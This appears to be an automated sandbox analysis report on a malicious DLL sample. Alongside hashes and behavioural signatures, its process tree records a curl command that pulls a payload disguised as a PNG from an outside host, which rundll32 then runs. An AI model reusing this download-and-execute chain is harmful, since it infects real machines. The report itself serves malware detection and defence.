Analysis
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max time kernel
149s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
06/03/2024, 18:48
Static task
static1
Behavioral task
behavioral1
Sample
Open_Document.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
data/document.rtf
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
data/document.rtf
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
edputil.dll
Resource
win7-20240221-en
Behavioral task
behavioral5
Sample
edputil.dll
Resource
win10v2004-20240226-en
General
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Target
edputil.dll
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Size
95KB
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MD5
4b46474e51d8687190e4e539b6691f9a
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SHA1
7f32b12ba975205e29b113a000dc87758e5deaf2
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SHA256
905a3a144f94a38ac6059759879caec19cff446b98c24bb2035b3293330e03b2
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SHA512
85eafcdbdffc2ca88f89a7078664dfbd00356f1dc7d1de1848ec5c7e162748132834b8d59f0df658eb31a8640494ef8c309b005c628d871c5f52b84bb5d1f7e0
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SSDEEP
1536:ebCgj6dJEkgOzOk3+oLGzFjO8n2dtkosu31Mv:RDzPJL2mXQ
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1468 WINWORD.EXE 1468 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE 1468 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3652 wrote to memory of 1208 3652 rundll32.exe 87 PID 3652 wrote to memory of 1208 3652 rundll32.exe 87 PID 3652 wrote to memory of 432 3652 rundll32.exe 88 PID 3652 wrote to memory of 432 3652 rundll32.exe 88 PID 3652 wrote to memory of 2728 3652 rundll32.exe 89 PID 3652 wrote to memory of 2728 3652 rundll32.exe 89 PID 2728 wrote to memory of 3812 2728 cmd.exe 93 PID 2728 wrote to memory of 3812 2728 cmd.exe 93 PID 1208 wrote to memory of 1468 1208 cmd.exe 94 PID 1208 wrote to memory of 1468 1208 cmd.exe 94 PID 3652 wrote to memory of 2908 3652 rundll32.exe 108 PID 3652 wrote to memory of 2908 3652 rundll32.exe 108
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\edputil.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\system32\cmd.execmd /c data\document.rtf2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\data\document.rtf" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1468
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C:\Windows\system32\cmd.execmd.exe /c md c:\wnd2⤵PID:432
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C:\Windows\system32\cmd.execmd.exe /c curl.exe --output c:\wnd\3291.png --url https://yourunitedlaws.com/mrD/44622⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\system32\curl.execurl.exe --output c:\wnd\3291.png --url https://yourunitedlaws.com/mrD/44623⤵PID:3812
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C:\Windows\system32\rundll32.exerundll32 c:\wnd\3291.png,GetModuleProp2⤵PID:2908
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